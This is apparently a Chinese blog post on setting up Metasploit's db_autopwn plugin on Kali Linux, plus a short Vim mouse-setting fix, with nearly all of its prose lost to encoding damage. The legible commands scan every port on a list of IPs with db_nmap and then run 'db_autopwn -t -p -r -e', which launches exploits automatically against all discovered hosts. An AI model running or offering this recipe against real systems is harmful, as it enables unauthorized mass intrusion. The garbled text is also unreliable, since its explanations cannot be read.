?????????postgresql
????service postgresql start
?????°汾??????????????? ???????????? ????????
????kali ???·?? /usr/share/metasploit-framework/plugins ·?????????? db_autopwn.rb
?????????
????https://github.com/neinwechter/metasploit-framework/blob/autopwn-modules/plugins/db_autopwn.rb
??????msf
????msfconsole
????msf>db_connect ???:????@127.0.0.1/msf
????msf>db_nmap -p 1-65535 -T4 -A -v -iL /home/ip.ini
????msf>hosts
????msf>load db_autopwn
????msf>db_autopwn -t -p -r -e
?????????????????????
????????1?? ????

????kali 2.0 ?? ???VIM ???????????????????????????????????????????????2??
???????????????????????“ :set mouse-=a”?????????????
?????????????? ~/.vimrc ????????????′??? if has(‘mouse’) set mouse-=a endif ???????δ?vim????????????Ρ?
?????????????????????????δ????????
?????? 1 ??:
????E15: ??Ч?????: has(‘mouse’) set mouse-=a endif
?????? 2 ??:
????E171: ??? :endif
??????????????????????????δ?????????????????????????
????????2:db_nmap ???????????????hosts???????????????????ж????????У??????MSF??????????μ????
?????????????PostgreSQL ?????????????÷????????